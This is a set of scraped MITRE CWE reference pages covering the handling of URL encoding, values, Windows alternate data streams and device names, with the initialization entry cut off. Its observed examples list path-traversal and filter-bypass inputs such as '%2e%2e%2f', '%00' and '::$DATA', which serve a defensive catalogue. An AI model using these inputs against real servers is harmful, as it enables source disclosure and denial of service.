PLOVERUnicode Encoding
CERT C Secure CodingMSC10-CCharacter Encoding - UTF8 Related Issues
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Sets and Unicode", Page 446. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unicode Encoding
2010-12-13Failure to Handle Unicode Encoding

CWE-177: Improper Handling of URL Encoding (Hex Encoding)

Weakness ID: 177
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when all or part of an input has been URL encoded.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.172Encoding Error
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
Hex-encoded path traversal variants - "%2e%2e", "%2e%2e%2f", "%5c%2e%2e"
"%20" (encoded space)
"%20" (encoded space)
"%20" (encoded space)
"%20" (encoded space)
Crash via hex-encoded space "%20".
"%00" (encoded null)
"%00" (encoded null)
"%00" (encoded null)
"%00" (encoded null)
"%00" (encoded null)
"%00" (encoded null)
"%00" (encoded null)
"%2f" (encoded slash)
"%5c" (encoded backslash) and "%2e" (encoded dot) sequences
"%5c" (encoded backslash)
"%0a" (overlaps CRLF)
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.992SFP Secondary Cluster: Faulty Input Transformation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERURL Encoding (Hex Encoding)
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11URL Encoding (Hex Encoding)
2010-12-13Failure to Handle URL Encoding (Hex Encoding)

CWE-229: Improper Handling of Values

Weakness ID: 229
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.228Improper Handling of Syntactically Invalid Structure
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.230Improper Handling of Missing Values
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.231Improper Handling of Extra Values
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.232Improper Handling of Undefined Values
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.19Data Processing Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.993SFP Secondary Cluster: Incorrect Input Handling
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships
2009-03-10CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-07-17CWE Content TeamMITRE
updated Description, Type
2014-07-30CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Value Problems

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream

Weakness ID: 69
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly prevent access to, or detect usage of, alternate data streams (ADS).
+ Extended Description
An attacker can use an ADS to hide information about a file (e.g. size, the name of the process) from a system or file browser tools such as Windows Explorer and 'dir' at the command line utility. Alternately, the attacker might be able to bypass intended access restrictions for the associated data fork.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.66Improper Handling of File Names that Identify Virtual Resources
+ Background Details
Alternate data streams (ADS) were first implemented in the Windows NT operating system to provide compatibility between NTFS and the Macintosh Hierarchical File System (HFS). In HFS, data and resource forks are used to store information about a file. The data fork provides information about the contents of the file while the resource fork stores metadata such as file type.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control
Non-Repudiation
Other

Technical Impact: Bypass Protection Mechanism; Hide Activities; Other

+ Observed Examples
ReferenceDescription
In IIS, remote attackers can obtain source code for ASP files by appending "::$DATA" to the URL.
Product does not properly record file sizes if they are stored in alternative data streams, which allows users to bypass quota restrictions.
+ Potential Mitigations

Phase: Testing

Software tools are capable of finding ADSs on your system.

Phase: Implementation

Ensure that the source code correctly parses the filename to read or write to the correct stream.
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.904SFP Primary Cluster: Malware
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

This and similar problems exist because the same resource can have multiple identifiers that dictate which behavior can be performed on the resource.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWindows ::DATA alternate data stream
+ References
[REF-562] Don Parker. "Windows NTFS Alternate Data Streams". 2005-02-16. <https://seclists.org/basics/2005/Feb/312>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Background_Details, Description, Relationships, Other_Notes, References, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Theoretical_Notes
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Windows ::DATA Alternate Data Stream
2010-12-13Failure to Handle Windows ::DATA Alternate Data Stream

CWE-67: Improper Handling of Windows Device Names

Weakness ID: 67
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product constructs pathnames from user input, but it does not handle or incorrectly handles a pathname containing a Windows device name such as AUX or CON. This typically leads to denial of service or an information exposure when the application attempts to process the pathname as a regular file.
+ Extended Description
Not properly handling virtual filenames (e.g. AUX, CON, PRN, COM1, LPT1) can result in different types of vulnerabilities. In some cases an attacker can request a device via injection of a virtual filename in a URL, which may cause an error that leads to a denial of service or an error page that reveals sensitive information. A product that allows device names to bypass filtering runs the risk of an attacker injecting malicious code in a file with the name of a device.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.66Improper Handling of File Names that Identify Virtual Resources
+ Background Details
Historically, there was a bug in the Windows operating system that caused a blue screen of death. Even after that issue was fixed DOS device names continue to be a factor.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability
Confidentiality
Other

Technical Impact: DoS: Crash, Exit, or Restart; Read Application Data; Other

+ Likelihood Of Exploit
High
+ Observed Examples
ReferenceDescription
Server allows remote attackers to cause a denial of service via a series of requests to .JSP files that contain an MS-DOS device name.
Server allows remote attackers to cause a denial of service via an HTTP request for an MS-DOS device name.
Product allows remote attackers to use MS-DOS device names in HTTP requests to cause a denial of service or obtain the physical path of the server.
Server allows remote attackers to cause a denial of service via a URL that contains an MS-DOS device name.
Server allows a remote attacker to create a denial of service via a URL request which includes a MS-DOS device name.
Microsoft Windows 9x operating systems allow an attacker to cause a denial of service via a pathname that includes file device names, aka the "DOS Device in Path Name" vulnerability.
Server allows remote attackers to determine the physical path of the server via a URL containing MS-DOS device names.
Product does not properly handle files whose names contain reserved MS-DOS device names, which can allow malicious code to bypass detection when it is installed, copied, or executed.
Server allows remote attackers to cause a denial of service (application crash) via a URL with a filename containing a .cgi extension and an MS-DOS device name.
+ Potential Mitigations

Phase: Implementation

Be familiar with the device names in the operating system where your system is deployed. Check input for these device names.
+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Affected Resources
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1163SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERWindows MS-DOS device names
CERT C Secure CodingFIO32-CCWE More SpecificDo not perform operations on devices that are only appropriate for files
The CERT Oracle Secure Coding Standard for Java (2011)FIO00-JDo not operate on files in shared directories
Software Fault PatternsSFP16Path Traversal
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Device Files", Page 666. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Background_Details, Other_Notes
2010-09-27CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Windows MS-DOS Device Names
2009-03-10Failure to Handle Windows Device Names

CWE-665: Improper Initialization

Weakness ID: 665
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not initialize or incorrectly initializes a resource, which might leave the resource in an unexpected state when it is accessed or used.
+ Extended Description
This can have security implications when the associated resource is expected to have certain properties or values, such as a variable that determines whether a user has been authenticated or not.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.664Improper Control of a Resource Through its Lifetime
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.455Non-exit on Failed Initialization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.908Use of Uninitialized Resource
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.909Missing Initialization of Resource
